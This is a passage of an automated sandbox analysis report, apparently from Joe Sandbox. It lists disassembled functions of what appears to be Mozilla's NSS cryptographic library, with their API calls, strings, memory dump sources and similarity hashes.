SECKEY_DestroyPublicKey.NSS3(?), ref: 6CFA5F89
free.MOZGLUE(?), ref: 6CFA5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFA5FB6
free.MOZGLUE(00000000), ref: 6CFA5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFA600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFA6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFA6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFA6094

Strings

, xrefs: 6CFA5EEB

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 9681972b8ef7a748775fc6385fe2bff18a523c01a8c9619c96a5a96f8a7d9e4b
Instruction ID: d48862c9821e9aae92b9f153d7797a1bb6fc75c7a525cc527b396df0c1a04315
Opcode Fuzzy Hash: 9681972b8ef7a748775fc6385fe2bff18a523c01a8c9619c96a5a96f8a7d9e4b
Instruction Fuzzy Hash: E581D3B2E04605DBDF108BA8DC80B9EF7B5AF48318F144128E919E7791E731E956CBA1

Function 6CF81FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CF82007
calloc.MOZGLUE(00000001,00000084), ref: 6CF82077
calloc.MOZGLUE(00000001,0000002C), ref: 6CF820DF
TlsSetValue.KERNEL32(00000000), ref: 6CF82188
PR_NewCondVar.NSS3 ref: 6CF821B7
calloc.MOZGLUE(00000001,00000084), ref: 6CF8221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF822C2
GetLastError.KERNEL32 ref: 6CF822CD
free.MOZGLUE(00000000), ref: 6CF822DD

Part of subcall function 6CF80F00: PR_GetPageSize.NSS3(6CF80936,FFFFE8AE,?,6CF116B7,00000000,?,6CF80936,00000000,?,6CF1204A), ref: 6CF80F1B
Part of subcall function 6CF80F00: PR_NewLogModule.NSS3(clock,6CF80936,FFFFE8AE,?,6CF116B7,00000000,?,6CF80936,00000000,?,6CF1204A), ref: 6CF80F25

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 734ddf62299d04be82cf534ff7dd27de09512183ef36fee5b2b85de3d0175dd6
Instruction ID: cccad4314ef1ed2d981e2e1408fb48e28bcb621444203c27c871514939ce421d
Opcode Fuzzy Hash: 734ddf62299d04be82cf534ff7dd27de09512183ef36fee5b2b85de3d0175dd6
Instruction Fuzzy Hash: 01917CB25027019FEB209F38DC0979B7AF4FF06708F24452EE95AD6A41DB72A105CF96

Function 6CFC4E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CFC4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC4EC7

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CFC4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CFC4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CFC4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CFC4F68

Strings

(CK_INVALID_HANDLE), xrefs: 6CFC4EC0, 6CFC4F13
hSession = 0x%x, xrefs: 6CFC4EA2, 6CFC4EB2
hObject = 0x%x, xrefs: 6CFC4EF5, 6CFC4F05
ulCount = %d, xrefs: 6CFC4F63
pTemplate = 0x%p, xrefs: 6CFC4F4A
C_GetAttributeValue, xrefs: 6CFC4E7E
nm, xrefs: 6CFC4F82, 6CFC4FB2

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nm
API String ID: 1003633598-4045238979
Opcode ID: 4d0f8ff396f1a138acd583ea0b8723dd5c8f828d3d17b51c8a4592be7245e9bb
Instruction ID: 31de2ee489e71d79de758cdd2ca2ba6b9969cf46db2d33f689627271d8c40a86
Opcode Fuzzy Hash: 4d0f8ff396f1a138acd583ea0b8723dd5c8f828d3d17b51c8a4592be7245e9bb
Instruction Fuzzy Hash: 8841F635705105AFEB00DB54EC84FAF3BB5EB9231DF198028ED0897252D7349D18CB66

Function 6CFC4CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CFC4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC4D37

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CFC4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CFC4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CFC4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CFC4E20

Strings

(CK_INVALID_HANDLE), xrefs: 6CFC4D30, 6CFC4D83
pulSize = 0x%p, xrefs: 6CFC4DB7
hSession = 0x%x, xrefs: 6CFC4D12, 6CFC4D22
C_GetObjectSize, xrefs: 6CFC4CEE
hObject = 0x%x, xrefs: 6CFC4D65, 6CFC4D75
*pulSize = 0x%x, xrefs: 6CFC4E1B
nm, xrefs: 6CFC4DD4, 6CFC4DFF

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nm
API String ID: 1003633598-3833093578
Opcode ID: 8f01fabc3251df315ca22a71144b9e3b08ea474484118cca925e0c3b68701bba
Instruction ID: 191d56b8eca1395c976471efaef15b652f1da15be79779fce6d73ce780e1e33f
Opcode Fuzzy Hash: 8f01fabc3251df315ca22a71144b9e3b08ea474484118cca925e0c3b68701bba
Instruction Fuzzy Hash: E441E571B05105AFEB109B54ED88FBF3BB5EB5230DF198028ED08AB252DB319954CB67

Function 6CFC7C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CFC7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC7CF3

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CFC7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CFC7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CFC7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CFC7D77

Strings

(CK_INVALID_HANDLE), xrefs: 6CFC7CEC
hSession = 0x%x, xrefs: 6CFC7CCE, 6CFC7CDE
ulSignatureLen = %d, xrefs: 6CFC7D72
ulDataLen = %d, xrefs: 6CFC7D40
pSignature = 0x%p, xrefs: 6CFC7D59
pData = 0x%p, xrefs: 6CFC7D25
C_Verify, xrefs: 6CFC7CB1
nm, xrefs: 6CFC7D8F, 6CFC7DC3

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nm
API String ID: 1003633598-81793563
Opcode ID: 3a8563da75bb63101aea6121d0caac019a1b484434d4fa735dab9fb6be57791d
Instruction ID: 0faafd5e5aaec6b6b1e4ff067c9525ce4062e11e06a9f1253549c87aac4cb677
Opcode Fuzzy Hash: 3a8563da75bb63101aea6121d0caac019a1b484434d4fa735dab9fb6be57791d
Instruction Fuzzy Hash: 2E31E031B05146AFEB10DF64ED88FAB3BB1EB52319F194025ED0CA7212DB319854CBA3

Function 6D0A9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6D0A9C70
PR_NewLock.NSS3 ref: 6D0A9C85

Part of subcall function 6D0598D0: calloc.MOZGLUE(00000001,00000084,6CF80936,00000001,?,6CF8102C), ref: 6D0598E5

PR_NewCondVar.NSS3(00000000), ref: 6D0A9C96

Part of subcall function 6CF7BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CF821BC), ref: 6CF7BB8C

PR_NewLock.NSS3 ref: 6D0A9CA9

Part of subcall function 6D0598D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6D059946
Part of subcall function 6D0598D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF116B7,00000000), ref: 6D05994E
Part of subcall function 6D0598D0: free.MOZGLUE(00000000), ref: 6D05995E

PR_NewLock.NSS3 ref: 6D0A9CB9
PR_NewLock.NSS3 ref: 6D0A9CC9
PR_NewCondVar.NSS3(00000000), ref: 6D0A9CDA

Part of subcall function 6CF7BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF7BBEB
Part of subcall function 6CF7BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CF7BBFB
Part of subcall function 6CF7BB80: GetLastError.KERNEL32 ref: 6CF7BC03
Part of subcall function 6CF7BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CF7BC19
Part of subcall function 6CF7BB80: free.MOZGLUE(00000000), ref: 6CF7BC22

PR_NewCondVar.NSS3(?), ref: 6D0A9CF0
PR_NewPollableEvent.NSS3 ref: 6D0A9D03

Part of subcall function 6D09F3B0: PR_CallOnce.NSS3(6D0F14B0,6D09F510), ref: 6D09F3E6
Part of subcall function 6D09F3B0: PR_CreateIOLayerStub.NSS3(6D0F006C), ref: 6D09F402
Part of subcall function 6D09F3B0: PR_Malloc.NSS3(00000004), ref: 6D09F416
Part of subcall function 6D09F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6D09F42D
Part of subcall function 6D09F3B0: PR_SetSocketOption.NSS3(?), ref: 6D09F455
Part of subcall function 6D09F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6D09F473

Part of subcall function 6D059890: TlsGetValue.KERNEL32(?,?,?,6D0597EB), ref: 6D05989E

EnterCriticalSection.KERNEL32(?), ref: 6D0A9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6D0A9DAF
_PR_CreateThread.NSS3(00000000,6D0A9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0A9D9F

Part of subcall function 6CF7B3C0: TlsGetValue.KERNEL32 ref: 6CF7B403
Part of subcall function 6CF7B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CF7B459

_PR_CreateThread.NSS3(00000000,6D0AA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0A9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6D0A9DFC
_PR_CreateThread.NSS3(00000000,6D0AA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0A9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6D0A9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6D0A9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0A9E89

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: a80b5a297e2833d4bf36c293b7584d6e460b1daf5617cd090bd8fdaf656200b0
Instruction ID: c95e3f1313f571388a195359d61d9915223411ae1cdbc1c1c3ae03223fd31e3b
Opcode Fuzzy Hash: a80b5a297e2833d4bf36c293b7584d6e460b1daf5617cd090bd8fdaf656200b0
Instruction Fuzzy Hash: 456161B1A00706AFE714CFB5D844A67BBF8FF09208B04453AE819C7752E731E954CBA1

Function 6CFA3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CFA4014

Part of subcall function 6CFA39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CFA5E6F,?), ref: 6CFA3A08
Part of subcall function 6CFA39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CFA5E6F), ref: 6CFA3A1C
Part of subcall function 6CFA39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFA3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CFA4038

Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CFA404D

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6D0BA0F4), ref: 6CFA40C2

Part of subcall function 6CFEF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CFEF0C8
Part of subcall function 6CFEF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFEF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CFA409A

Part of subcall function 6CFEBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CF9E708,00000000,00000000,00000004,00000000), ref: 6CFEBE6A
Part of subcall function 6CFEBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFA04DC,?), ref: 6CFEBE7E
Part of subcall function 6CFEBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CFEBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFA40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFA40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFA4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CFA411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CFA4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CFA4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6D0BA1C8), ref: 6CFA417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CFA4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CFA41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFA41B2
PK11_DestroyObject.NSS3(?,?), ref: 6CFA41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFA41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6D0BA1A8), ref: 6CFA422D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: fa0e4a74693f3c33f3fa2bbc52205cd59b27376a703495cb1022491e248b12d2
Instruction ID: 27163ccefee4ca243bb61b7dfff1a9d75b9c76333fdc6add02fed882196466f9
Opcode Fuzzy Hash: fa0e4a74693f3c33f3fa2bbc52205cd59b27376a703495cb1022491e248b12d2
Instruction Fuzzy Hash: B05116B5A00301ABF7109BA9EC42F67BADCDF5434CF055529E95AC7B82FF31E50582A2

Function 6CFE8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CFE8E01,00000000,6CFE9060,6D0F0B64), ref: 6CFE8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CFE8E01,00000000,6CFE9060,6D0F0B64), ref: 6CFE8E9E
PORT_ArenaAlloc_Util.NSS3(6D0F0B64,00000001,?,?,?,?,6CFE8E01,00000000,6CFE9060,6D0F0B64), ref: 6CFE8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CFE8E01,00000000,6CFE9060,6D0F0B64), ref: 6CFE8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CFE8E01,00000000,6CFE9060,6D0F0B64), ref: 6CFE8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CFE8E01,00000000,6CFE9060,6D0F0B64), ref: 6CFE8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CFE8E01), ref: 6CFE8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6D0F0B64,6D0F0B64), ref: 6CFE8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CFE8F3F

Part of subcall function 6CFEA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CFEA421,00000000,00000000,6CFE9826), ref: 6CFEA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFE904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CFE8E76

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: d59affa961af76629bb1dbbda0095e765f3c56e2ed5fb26876546ce49ec5ce0c
Instruction ID: 32340631663e980d64ee3956ae3afe237e988d6169e8277ed7cce452e803668c
Opcode Fuzzy Hash: d59affa961af76629bb1dbbda0095e765f3c56e2ed5fb26876546ce49ec5ce0c
Instruction Fuzzy Hash: 476191B5E00105ABDB10CF65DC80AEFB7B5EF88358F154129DD18A7751EB32A915CBB0

Function 6CF98E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF98E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CF98E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CF98EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6D0C18D0,?), ref: 6CF98F03
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CF98F19
PL_FreeArenaPool.NSS3(?), ref: 6CF98F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CF98F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CF98F65
PL_FinishArenaPool.NSS3(?), ref: 6CF98FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CF98FFE
PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CF99012
PL_FreeArenaPool.NSS3(?), ref: 6CF99024
PL_FinishArenaPool.NSS3(?), ref: 6CF9902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CF9903E

Strings

security, xrefs: 6CF98EE7

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 2c22c063325221b0135b1f90840230944bb8ecb6a6907ac99ceb526ad1ed484c
Instruction ID: ef07f61d7eea76d50743c742258f37f6d342751777b19658aa71383c1f9a176c
Opcode Fuzzy Hash: 2c22c063325221b0135b1f90840230944bb8ecb6a6907ac99ceb526ad1ed484c
Instruction Fuzzy Hash: C75128B2508300ABFB109A54DC50FAF77A8EBC575CF54082EF95997750E732D9098753

